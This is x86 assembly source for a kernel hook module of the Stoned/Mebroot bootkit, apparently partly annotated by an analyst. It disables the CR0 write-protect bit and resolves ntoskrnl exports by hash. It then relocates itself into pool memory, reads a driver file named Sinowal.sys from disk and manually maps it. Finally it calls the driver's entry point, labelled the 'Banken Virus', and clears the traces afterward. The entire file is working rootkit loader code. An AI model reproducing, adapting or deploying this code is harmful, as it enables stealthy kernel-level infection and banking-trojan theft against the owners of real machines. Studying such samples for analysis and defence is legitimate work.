
; Mebroot Ntoskrnl Hook Module
; called by ntoskrnl hook (Protected Mode with Paging, 32 bit, Kernel Mode)

[bits 32]

Ntoskrnl_Hook:


; first argument = PsLoadedModuleList, we will passed further when simulating original code and will be passed to driver

; handle parameters and set/corrected values
mov edx,[esp]                                                                   ; edx = return address
push dword 12000000h                                                            ; store the we-to simulate return address (has been corrected)
mov ecx,[esp]                                                                   ; ecx = original absolute call address
push dword 12000000h                                                            ; this address was corrected, Module Address of ntoskrnl

; clear flag cr0.Write Protect (to allow writing into read-only user pages)
mov eax,cr0                                                                     ; store cr0
and eax,0FFFEFFFFh                                                              ; unmask flag
mov cr0,eax

; retrieve function address of ntoskrnl!ExAllocatePool
push dword [esp]                                                                ; module address of ntoskrnl image
push 3707E062h                                                                  ; hash of "ExAllocatePool"
call Get_Dll_Function_Address
add esp,2*4                                                                     ; (correct the stack, remove pushed parameters)

; ntoskrnl!ExAllocatePool(type 0, 427 bytes);
push Total_End_of_Binary - Driver_Allocated_Memory
push 0
call eax

; reloacate module to driver allocated memory (out of the ntoskrnl image)
pushad
call Get_EIP_ntoskrnl                                                           ; get current instruction pointer
Get_EIP_ntoskrnl:
pop esi                                                                         ; esi = current EIP
and esi,0FFFFFC00h                                                              ; 1024 byte aligned address
add esi,Driver_Allocated_Memory - Ntoskrnl_Hook
mov edi,eax                                                                     ; copy to memory allocted by ExAllocatePool
mov ecx,Total_End_of_Binary - Driver_Allocated_Memory
rep movsb

; jump to the relocated code
jmp eax



Driver_Allocated_Memory:

; this code is now executed on driver allocated memory

xor eax,eax
popad                                                                           ; restore register contents
push dword [esp+12]                                                             ; store PsLoadedModuleList address (= 0x80087000), passed by caller, pass to callee
call dword near [esp+0x8]                                                       ; simulate original call near instruction that we've hooked

pop ecx                                                                         ; -> ebp (comes from enter / push ebp  mov ebp,esp)
pop edx                                                                         ; assumable return address
pushad                                                                          ; store registers as simulated call would never have been done
xchg ecx,ebp                                                                    ; set ebp to module address we'll use later
call dword Driver_Loader                                                        ; => back to Kernel Code



Get_Dll_Function_Address:

; Input:
;   Param 1     Function Name hash
;   Param 2     Base Address of Module to search for Export
; Output:
;   EAX = Function Address (NULL if not found)
; preserves register contents

pushad
mov ebp,[esp+0x28]                                                              ; base address of module (param 2)
mov eax,[ebp+0x3c]                                                              ; PE Header
mov edx,[ebp+eax+0x78]                                                          ; access to Export Table
add edx,ebp                                                                     ; absolute pointer to Export Table
mov ecx,[edx+0x18]                                                              ; ecx = Number of Name Pointers (count of exports)
mov ebx,[edx+0x20]                                                              ; ebx = Name Pointer RVA
add ebx,ebp                                                                     ; absolute pointer to Export Name Pointers

Find_Dll_Export_loop:
jecxz Dll_Function_not_found                                                    ; if no export left exit
dec ecx                                                                         ; next one
mov esi,[ebx+ecx*4]                                                             ; get the function name of the next function
add esi,ebp                                                                     ; absolute address
xor edi,edi                                                                     ; edi stores our calculated hash
cld

; check the Dll function name (generate hash)
Get_Dll_Name_hash:
xor eax,eax
lodsb                                                                           ; inside a dll export, like "wctomb" (and others)
cmp al,ah                                                                       ; zero terminated string
jz Get_Dll_Name_hash_generated
ror edi,13                                                                      ; VERY ODD WAY for finding specific dll entry
add edi,eax                                                                     ; something like a hash
jmp short Get_Dll_Name_hash

Get_Dll_Name_hash_generated:
cmp edi,[esp+0x24]                                                              ; now compare calculated hash and input hash
jnz Find_Dll_Export_loop                                                        ; if not found => check next export

; set up addresses
mov ebx,[edx+0x24]                                                              ; Export Table.Ordinal Table RVA
add ebx,ebp                                                                     ;   (absolute pointer)
movzx ecx,word [ebx+ecx*2]                                                      ; -> Ordinal Number (needed for Address Table)
mov ebx,[edx+0x1c]                                                              ; Export Table.Export Address Table RVA
add ebx,ebp                                                                     ;   (absolute pointer)
mov eax,[ebx+ecx*4]                                                             ; -> Function Address
add eax,ebp                                                                     ;   (absolute pointer)
jmp short Dll_Function_Address_set

Dll_Function_not_found:
xor eax,eax                                                                     ; error, return zero
Dll_Function_Address_set:
mov [esp+0x1c],eax                                                              ; patch the value to be in eax
popad

ret





; driver memory allocated code, load now payload driver from drive

;    located at ***
;    we are called by ntoskrnl

Driver_Loader:

; get address of Get_Dll_Function_Address
pop ebx                                                                         ; ebx -> return eip, equal to address of Get_Dll_Function_Address



Load_Driver:

; retrieve function address of ntoskrnl!NtOpenFile()
push ebp                                                                        ; module address of ntoskrnl
push 852974B8h                                                                  ; hash of "NtOpenFile"
call ebx

; set up data buffers
xor edx,edx
push edx
push edx                                                                        ;   2 dwords data buffer
mov esi,esp                                                                     ; esi = data buffer
push edx                                                                        ;   1 dword data buffer
mov edi,esp                                                                     ; edi = data buffer

;  eax = still address of function NtOpenfile
;  ebx = still address of Get_Dll_Function_Address
;  esi = data buffer on stack (8 bytes)
;  edi = data buffer on stack (4 bytes)
;  ebp = Module Base Address of ntoskrnl


; NtOpenFile(&FileHandle, GENERIC_READ | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT)

; set pointer to Object Name (= counted Unicode string, Windows type UNICODE_STRING)
push ebx                                                                        ; pointer to the unicode string
add [esp],dword File_Sinowal_Driver - Get_Dll_Function_Address
push 00440042h                                                                  ; 2*33 = size, 2*34 = max size (according to string length)
mov ecx,esp                                                                     ; temp save pointer to counted unicode string

; set ObjectAttributes structure on stack
push edx                                                                        ; SecurityQualityOfService  = NULL
push edx                                                                        ; SecurityDescriptor        = NULL
push 40h                                                                        ; Attributes                = OBJ_CASE_INSENSITIVE
push ecx                                                                        ; ObjectName                = \??\C:\Stoned\Drivers\Sinowal.sys
push edx                                                                        ; RootDirectory             = NULL
push 24                                                                         ; Length                    = sizeof(OBJECT_ATTRIBUTES)
mov ecx,esp

push 20h                                                                        ; OpenOptions       = FILE_SYNCHRONOUS_IO_NONALERT
push 3                                                                          ; ShareAccess       = FILE_SHARE_READ | FILE_SHARE_WRITE
push esi                                                                        ; IoStatusBlock     = data buffer on stack
push ecx                                                                        ; ObjectAttributes  = data buffer on stack
push 80100000h                                                                  ; DesiredAccess     = GENERIC_READ | SYNCHRONIZE
push edi                                                                        ; FileHandle        = data buffer on stack, used later in NtReadFile
call eax                                                                        ;   call NtOpenFile


; retrieve function address of ntoskrnl!ExAllocatePool()
push ebp                                                                        ; module address of ntoskrnl
push 3707E062h                                                                  ; hash of "ExAllocatePool"
call ebx
xchg eax,edi                                                                    ; store function address in edi

; retrieve function address of ntoskrnl!NtReadFile()
push ebp                                                                        ; module address of ntoskrnl
push 84FCD516h                                                                  ; hash of "NtReadFile"
call ebx
mov [esi],eax                                                                   ; store function address temporary at data buffer


; set parameters for NtReadFile()
push 0                                                                          ; Position          = 0 (high 32 bit)
push 00000000h                                                                  ; Position          = 0 (low 32 bit)
mov ecx,esp
push 0                                                                          ; Key               = (no unlocking key needed)
push ecx                                                                        ; ByteOffset        = pointer to ByteOffset created on stack

; ntoskrnl!ExAllocatePool(type 0, 500 KB reserved);
push 500 * 1024                                                                 ; length of kernel driver file (currently 500 KB reserved), for later reading
push 500 * 1024                                                                 ; count of bytes
push 0                                                                          ; -> type 0
call edi                                                                        ;   call ExAllocatePool
push eax                                                                        ; Buffer (= 0x80fd4000), address for our code


; ntoskrnl!NtReadFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, Length, ByteOffset, 0);
push esi                                                                        ; IoStatusBlock     = same as on NtOpenFile
mov ecx,esi                                                                     ; ecx stores our NtReadFile address
xchg eax,esi                                                                    ; esi = target buffer for our code (the address)
xor edx,edx
push edx                                                                        ; ApcContext        = NULL (no async procedure param)
push edx                                                                        ; ApcRoutine        = NULL (no async procedure call)
push edx                                                                        ; Event             = NULL (do nothing)
push dword [esp+0x58]                                                           ; FileHandle        = returned by NtOpenFile
call [ecx]                                                                      ;   call NtReadFile


; retrieve function address of ntoskrnl!NtClose()
push ebp                                                                        ; module address of ntoskrnl
push 0DCD44C5Fh                                                                 ; hash of "NtClose"
call ebx

; ntoskrnl!NtClose(FileHandle);
push dword [esp+0x40]                                                           ; FileHandle returned by NtOpenFile
call eax


; now investigate the PE file
;   esi = pointer to buffer
mov eax,[esi+0x3c]
add eax,esi                                                                     ; absolute pointer to PE Header
push eax                                                                        ;   store for later usage
mov edx,[eax+0x50]                                                              ; SizeOfImage (total size of image)
push edx                                                                        ;   store for later usage

; ntoskrnl!ExAllocatePool(type 0, SizeOfImage);
push edx                                                                        ; -> SizeOfImage
push byte 0                                                                     ; -> type 0
call edi                                                                        ;   call ExAllocatePool

; zero out allocated memory
xchg eax,edi                                                                    ; -> target buffer is the allocated memory
pop ecx                                                                         ; -> size = image size
push edi
xor al,al
rep stosb                                                                       ; first zero out buffer
pop edi                                                                         ;   restore target pointer
pop eax                                                                         ;   restore absolute pointer to PE Header

; copy the headers
pushad
mov ecx,[eax+0x54]                                                              ; SizeOfHeaders
rep movsb
popad

; copy all sections
sub eax,esi
add eax,edi                                                                     ; now we access the copied headers
movzx ecx,word [eax+0x6]                                                        ; NumberOfSections (loop counter)
lea edx,[eax+0xf8]                                                              ; after optional header, start of section table entries

Section_Entry:
pushad
add esi,[edx+0x14]                                                              ; -> source = base of read buffer + PointerToRawData
add edi,[edx+0xc]                                                               ; -> destination = base of our allocated memory + VirtualAddress
mov ecx,[edx+0x10]                                                              ; -> size = SizeOfRawData
jecxz Section_Entry_Next                                                        ;   if zero do not copy
rep movsb
popad

Section_Entry_Next:
add edx,40                                                                      ; next entry (+ sizeof Section Header)
loop Section_Entry


; delete the read buffer data
push eax                                                                        ; store the pointer to (copied) PE header
pushad
mov edi,esi                                                                     ; -> target = read buffer
xchg eax,ecx                                                                    ; overwrite it with zero
mov ecx,58600h / 4                                                              ; -> size = 58600h we've read
rep stosd
popad


; retrieve function address of ntoskrnl!ExFreePool()
push ebp                                                                        ; module address of ntoskrnl
push 9D489D1Fh                                                                  ; hash of "ExFreePool"
call ebx

; ntoskrnl!ExFreePool(File Buffer);
xchg eax,ebp                                                                    ; ebp = function number
push esi                                                                        ; source address, our data buffer we read the file in
call ebp


; execute the "Banken Virus"

; DriverEntry(Module Address, PsLoadedModuleList Address);
mov esi,[esp+8]                                                                 ; esi = pointer to PE Header
push dword [esp+132]                                                            ; param 2 = PsLoadedModuleList address, 132 - 96 - 4 = argument 1 :)
push edi                                                                        ; param 1 = Module Address of executable
mov eax,[esi+28h]                                                               ; eax = AddressOfEntryPoint
add eax,edi                                                                     ;   absolute address
call eax                                                                        ; execute the code

; erase "Banken Virus" in memory
or eax,eax                                                                      ; check return code
jnl Exit_Infector                                                               ;   if != 0 exit (I guess)
mov ecx,[esi+0x50]                                                              ; count = SizeOfImage
jecxz Exit_Infector                                                             ;   if zero exit
xor al,al
push edi
;rep stosb                                                                       ; overwrite it with zeros
pop edi


; ntoskrnl!ExFreePool("Banken Virus" memory);
push edi                                                                        ; the memory allocated for the executable
call ebp


Exit_Infector:

; clean up stack
add esp,96

; delete the driver allocated code, we are at end here
xor eax,eax
mov edi,ebx
sub edi,21                                                                      ; -> target = the driver allocated code
mov ecx,412                                                                     ; remove all the stage 4 code (except the last few instructions)
;rep stosb

; no no no...
popad
ret 4                                                                           ; return :(

; thats it... Stoned Bootkit...



; \??\C:\Stoned\Drivers\Sinowal.sys
; \??\C:\Stoned\Drivers\Sinowal Extractor.sys
File_Sinowal_Driver     dw    "\", "?", "?", "\", "C", ":", "\", "S", "t", "o", "n", "e", "d", "\", "D", "r", "i", "v", "e", "r", "s", "\", "S", "i", "n", "o", "w", "a", "l", ".", "s", "y", "s", 0
File_Sinowal_Extractor  dw    "\", "?", "?", "\", "C", ":", "\", "S", "t", "o", "n", "e", "d", "\", "D", "r", "i", "v", "e", "r", "s", "\", "S", "i", "n", "o", "w", "a", "l", " ", "E", "x", "t", "r", "a", "c", "t", "o", "r", ".", "s", "y", "s", 0

;Copyright_Text        dd    "(C) 2005 - 2010        .ru, RBN, Peter Kleissner, Vipin Kumar, Sinowal/Mebroot, Stoned.A", 0


Total_End_of_Binary:

